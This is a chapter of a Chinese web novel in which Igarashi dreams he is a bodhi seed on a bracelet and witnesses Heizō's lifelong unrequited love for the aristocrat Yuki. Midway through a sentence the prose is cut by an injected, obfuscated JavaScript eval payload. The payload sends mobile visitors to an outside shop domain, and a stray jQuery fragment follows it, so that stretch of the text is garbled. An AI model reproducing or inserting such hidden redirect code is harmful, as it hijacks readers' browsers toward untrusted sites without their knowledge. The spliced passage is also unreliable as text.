“柏冶，你这是怎么了？”
当五十岚顶着两个浓重的黑眼圈，一脸疲倦地出现在餐厅时，繁惊讶地放下了手中的茶壶，她快步走过来，伸手摸了摸儿子的额头不烫，但脸色苍白得像张纸，眼睛里布满血丝，整个人看起来像是熬了三天三夜。
“我没事，不用担心，母亲。”五十岚勉强扯出一个笑容，但那笑容虚弱得像是下一秒就会碎掉。
他昨晚又做梦了。
那梦还是连续的。
在梦里，他依旧是那颗菩提子以它的视角，看着那个叫平藏的青年的人生。
他看着平藏在菩提树下，日复一日地偷偷望着那个叫阿雪的少女。
春天樱花开了又谢，夏天蝉鸣了又停，秋天枫叶红了又落，冬天雪花飘了又化。
看着平藏眼中的爱慕，从青涩的悸动，慢慢沉淀成温柔的守望。
或许是因为家世背景，又或许是因为以前的纠葛，青年始终没有上前跟少女搭上一句话。
季节转换，“自己”和其他菩提一起掉下来了，然后被那个青年和其它几颗同伴一起捡了回去。
“真的没事吗？”繁担心地看着儿子，“是不是哪里不舒服？要不今天请假吧，让松井送你去医院看看？”
“真的没事。”五十岚摇摇头，在餐桌旁坐下，“只是……没睡好而已，做了个很长的梦，醒了又睡，睡了又醒，反反复复的，折腾了一晚上。”
这是实话。
但他没说梦的内容。
他要怎么说？难道要告诉母亲，他梦到自己变成了一颗菩提，然后看着一个一百年前的青年，暗恋一个他永远得不到的贵族小姐？
母亲会以为他脑子出问题了，该找家庭医生来看了。
“对了，母亲。”五十岚拿起勺子，舀了一勺粥，送到嘴边，又停下，“祖父什么时候从瑞士回来？”
繁替五十岚夹了块玉子烧，听到他的问题，想了一下，回答：“大概就这几天吧，昨天你父亲和他通话，他说滑雪摔了一跤，脚踝扭伤了，得休养两天才能坐飞机，怎么了？柏冶，找祖父有事？”
“没什么，就是一点小事。”五十岚说，低头喝粥。
等祖父回来，就把手串给他吧。他在心里想。
这串手串太邪门了。
“我吃饱了。”五十岚放下碗，站起身，“我出门了。”
“路上小心。”繁看着儿子明显不对劲的状态，心里满是担忧，但最终只是叮嘱了一句。
*
再次入睡，五十岚果然又见到了平藏。
这次的梦依旧是从上一次梦的结尾开始。
平藏很小心地把捡到的几颗菩提子带回家，用清水洗干净，然后用一块软布仔细擦拭。他的动作很轻，很温柔，像是在对待什么珍贵的宝物。
然后，他找来工具，开始打磨菩提子。
这个过程花的时间不少。平藏不着急，每天有空就磨一会儿，用砂纸一遍遍地打磨，直到菩提子的表面变得光滑圆润，在灯光下泛着温润的光泽。
五十岚能感觉到，在这个过程中，平藏的心情是平静的，甚至是愉悦的。他一边打磨，一边会轻声哼着歌，是那种很老的，五十岚没听过的民谣，调子很温柔。
打磨完成后，平藏找来结实的棉绳，把菩提子一颗颗串起来，做成了手串。
手串的尺寸正好，戴在平藏的手腕上，不大不小。
平藏抬起手，看着腕间的手串，嘴角不自觉地向上弯起，露出一个很淡的笑容。
那一瞬间，五十岚感觉到，从“自己”或者说那颗菩提子的心里涌起一股强烈的喜悦。
不是平藏的喜悦。
是菩提子自己的喜悦。
是为能够被这个人戴在手腕上，能够陪在这个人身边，能够感受这个人的体温和脉搏，而感到的喜悦。
这是五十岚第一次如此清晰地感觉到，这颗菩提子有自己的感情。
它不是一件死物。
它是有灵的。
“我”经过打磨过后，被串成手串，戴在青年腕间，看着平藏的生活。
平藏的家很普通，甚至可以说简陋。是那种典型的下町长屋，房间不大，家具也很简单，但收拾得很干净。
从平藏和其他人的对话中，五十岚知道了更多细节。
平藏的全名是山田平藏，母亲在他很小的时候就病逝了，是父亲一手把他带大的。父亲是个木匠，手艺很好，但身体一直不太好。平藏高中毕业后，在父亲朋友的介绍下，进了一家印刷厂做学徒，薪水微薄，但够养活父子俩。
而平藏偷偷看的那名少女，叫藤堂雪，是新兴华族藤堂家的千金小姐。藤堂家是做纺织业起家的，生意做得很大，在政商两界都有影响力。阿雪是藤堂家的独生女，从小接受贵族教育，气质优雅，容貌秀丽，是很多人心目中的理想伴侣。
平藏暗恋阿雪这件事，谁也不知道。
他也只敢偷偷探听阿雪的消息，从报纸上，从旁人的闲聊中，从偶尔在街上远远看到的身影中。
在五十岚看来，这段暗恋是不可能有结果的。
门第差距太大了。
一个是印刷厂的学徒，父母双亡，家徒四壁。
一个是华族千金，家世显赫，前程似锦。
他们之间，隔着的不是一条街，而是一道无法跨越的鸿沟。
事实确实如此。
时间一天天过去，平藏依旧在印刷厂工作，依旧住在那个简陋的长屋里，依旧会在特定的日子去那座寺院，站在菩提树下，偷偷看阿雪。
而阿雪，依旧过着贵族千金的生活，出席各种茶会、舞会、慈善活动，身边围绕着门当户对的青年才俊。
然后，某一天，报纸上刊登了藤堂雪订婚的消息。
未婚夫是同样出身华族的青年，家世相当，相貌堂堂，刚从英国留学归来，前途无量。
平藏看到那条消息时，正在吃晚饭。他盯着报纸看了很久，然后放下碗筷，走到窗边，看着窗外的夜色，一动不动地站了很久。
暗恋永远是暗恋，只是一段说不出口的、只能默默藏在心里、多年后来回忆的感情。
几个月后，阿雪结婚了。
婚礼很盛大，在东京最豪华的酒店举行，政商名流悉数到场，报纸用了整整一个版面报道。
平藏站在路边看热闹的人群中，看着那辆装饰着鲜花的豪华汽车缓缓驶过，看着车里穿着白无垢、脸上洋溢着幸福笑容的阿雪，和她身边那个穿着礼服的新郎。
他看了很久，目光一直落在那对新人身上，直到汽车消失在街角，人群渐渐散去。
然后，他扯出一个笑容，一个很勉强、很苦涩，但努力想显得释然的笑容，然后转身，独自回了家。
这段暗恋，也只能当做一段回忆深藏心底了吧。
五十岚想。
这样也好，断了念想，重新开始。
平藏接下来的生活，应该会和普通人一样吧。
娶一个和自己差不多的、温柔贤惠的妻子，生一两个孩子，努力工作挣钱养活家人。看着孩子长大，为儿子娶媳妇，为女儿攒嫁妆。在女儿出嫁的晚上，和妻子一起躲在被窝里，既为女儿高兴，又为离别伤心，哭得像个孩子。最后，在儿孙的簇拥下，含笑离开这个世界。
平凡，但幸福的一生。
对了，平藏邻居家的阿桃姑娘好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665104|207143||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
像喜欢他来着。
作为被平藏戴在手腕上的手串，五十岚经常能够看见各种与平藏“巧遇”的阿桃姑娘。
阿桃是个很普通的姑娘，在附近的纺织厂工作，长得不算漂亮，但很清秀，性格开朗，笑起来眼睛弯弯的，很可爱。她经常“碰巧”在平藏下班时遇到他，“碰巧”做了多余的点心分给他，“碰巧”需要帮忙修东西而找他。
她的心思，连五十岚这个“手串”都看出来了。
但平藏……似乎没看出来。或者说，看出来了，但装作不知道。
和五十岚想的不一样。
平藏并没有跟阿桃结婚，也没有跟任何其他人结婚。
他和以前一样活着。
依旧住在那个长屋里，依旧在印刷厂工作，依旧会在特定的日子去那座寺院，在那棵菩提树下，偷偷看他的秘密“风景”。
只不过，风景由一个人变成了两个人。
因为阿雪的丈夫，会陪阿雪一同前往寺院。
五十岚看到，平藏的目光，会先落在阿雪身上，停留几秒，然后移开，落在阿雪的丈夫身上，又停留几秒，然后再移开，看向别处。
他的表情很平静，看不出什么特别的情绪。
时间一天天地流逝。
平藏的父亲去世了。那个一直身体不太好的木匠，在一个冬天的早晨，安静地睡了过去，再没醒来。
平藏在邻居的帮助下，才办好了父亲的葬礼。葬礼很简单，来的人不多，大多是父亲的旧友和邻居。
葬礼结束后，平藏一个人坐在空荡荡的家里，看着父亲的遗像，很久没动。
手串贴在他的腕间，能感觉到他皮肤的温度，比平时低了一些。
他依旧会在菩提树下看他的“风景”。
两个人变成了三个人。
阿雪抱着女儿，露出温柔的笑容。她的丈夫站在她身边，也笑着，伸手轻轻逗弄着襁褓中的婴儿。
平藏站在树下，看着这一幕，嘴角也向上弯了弯，露出一个很淡、很淡的笑容。
像是为阿雪高兴，又像是在告别什么。
阿桃最终也没有等到平藏。
她死了心，由父母做主，嫁给了京都来的一个酒商。婚礼前，她来向平藏告别，送了他一盒自己做的点心，说“以后可能没机会再见了，平藏君要好好照顾自己”。
平藏收下了点心，说了“谢谢”，也说了“祝你幸福”。
阿桃看着他，眼睛红红的，但最终只是点点头，转身离开了。
从那以后，五十岚再也没见过阿桃。
没有贤惠的妻子，没有乖巧的孩子，不会与妻子一起变得白发苍苍，然后笑着与这个世界告别。
平藏依旧孑然一身。
五十岚醒来时，天已经亮了。
阳光透过窗帘的缝隙照进来，在墙上投下一道明亮的光斑。
他躺在床上，没有立刻起来，只是盯着天花板，很久没动。
脸上又是湿的。
他抬手抹了一把，指尖沾满了冰凉的泪水。
心里堵得厉害，像是压了一块石头，沉甸甸的，喘不过气。
那个梦……太长了，也太重了。
“平藏……”他轻声念出这个名字。
然后，他转过头，看向床头柜。
那个木匣子还放在那里，盖子开着，里面的菩提子手串静静地躺着，在晨光中泛着温润的光泽。
五十岚盯着那串手串，看了很久。
然后，他伸出手，轻轻碰了碰其中一颗菩提子。
指尖传来的触感，温润，光滑，带着岁月的痕迹。
那一瞬间，他仿佛又看到了平藏。